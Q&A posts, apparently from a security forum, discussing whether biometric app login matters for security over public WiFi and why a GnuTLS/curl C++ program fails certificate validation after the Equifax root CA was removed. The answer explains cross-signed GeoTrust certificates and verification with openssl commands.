Is there any chance that using these Apps is still secure over public WiFi?

To know whether each individual app is secure in that scenario cannot be answered without thoroughly auditing each app. But assuming they are securely using TLS for all communications, any type of local biometric authentication probably doesn't have anything to do with what traffic is sent to the server.
The application is probably already logged in to the server, possibly already sending data and synchronizing your accounts in the background, and only requests biometric authentication from the OS to check if an authorized user is holding the device. So in that light, if the app does not properly implement TLS and is already communicating with your account credentials in the background, it is already inherently insecure; whether or not you use biometrics don't contribute either way in that case.


Server certificate terminates in removed CA certificate, still works? Context: I've got some C++ code that uses curl with GnuTLS that's failing to connect to https://googleapis.com since Ubuntu updated the ca-certificates package. That, as far as I can tell, corresponds to Debian bug #858064.

That's not (yet) the interesting part, though. Note, in particular, that this C++ code has been working fine for several years, and works if I provide it with the previous version of the /etc/ssl/certs/ca-certificates.crt file.

Problem: When I use the following commands:

$ openssl s_client -connect sheets.googleapis.com:443 \
    -CApath /etc/ssl/certs/ca-certificates.crt
$ gnutls-cli sheets.googleapis.com
    --x509cafile /etc/ssl/certs/ca-certificates.crt
$ curl --cacert /etc/ssl/certs/ca-certificates.crt \
    https://sheets.googleapis.com

...they all work correctly. As do Google Chrome and Mozilla Firefox.

And I can't figure out why they work, when my C++ code doesn't. It fails with CURLE_SSL_CACERT (60): Peer certificate cannot be authenticated with known CA certificates.

Google's server returns the following certificate chain, according to OpenSSL; the GnuTLS one looks the same, as far as I can tell; and I see 3 certificates in Wireshark:

Certificate chain
 0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=*.googleapis.com
   i:/C=US/O=Google Inc/CN=Google Internet Authority G2
 1 s:/C=US/O=Google Inc/CN=Google Internet Authority G2
   i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
 2 s:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
   i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority

Question: I'm trying to understand how GnuTLS, in particular, builds and verifies its certificate chain on Linux. That "Equifax Secure Certificate Authority" certificate appears to have been removed in the ca-certificates update, and yet it doesn't appear to have broken anything (except my code).

If I look at the certificate in Google Chrome, that root certificate isn't shown, and the chain terminates at the "GeoTrust Global CA" certificate instead, which looks to be self-signed.

Why is OpenSSL showing different results from Chrome?
Why is OpenSSL (apparently) still trusting a removed CA certificate?
How do I check that the certificates shown by OpenSSL/GnuTLS/etc. map to the relevant files in /etc/ssl/certs?

Why is OpenSSL showing different results from Chrome?

OpenSSL is showing the certificate chain send by the server. Chrome is showing the chain used for validation. Since there is a self-signed CA certificate for GeoTrust Global CA which uses the same key as the one signed by Equifax the Equifax CA certificate is no longer needed to verify the chain.

This self-signed CA certificate for GeoTrust Global CA is also contained in the current versions of the ca-certificates package so that the Equifax is no longer needed by current OpenSSL versions to validate the chain. There was a bug though with older OpenSSL versions where it failed to validate the chain if the Equifax signed CA was included in the chain but the Equifax CA was not in the trust store. See Python Requests SSL Verification.

  Why is OpenSSL (apparently) still trusting a removed CA certificate?

It does not. It trusts instead the GeoTrust Global CA included in the trust store and ignores the Equifax issued chain certificate (which has the same key).

  How do I check that the certificates shown by OpenSSL/GnuTLS/etc. map to the relevant files in /etc/ssl/certs

I'm not sure what you mean with "map". But you can make s_client show you all the certificates with the -showcerts and then check if exact these certificates are included in your trust store (i.e. string comparison). If you want instead to check if a specific certificate chain can be verified  with your trust store use openssl verify -CAfile ca-certificates.pem -untrusted chain-certs.pem leaf-cert.pem. See also Use openssl to individually verify components of a certificate chain.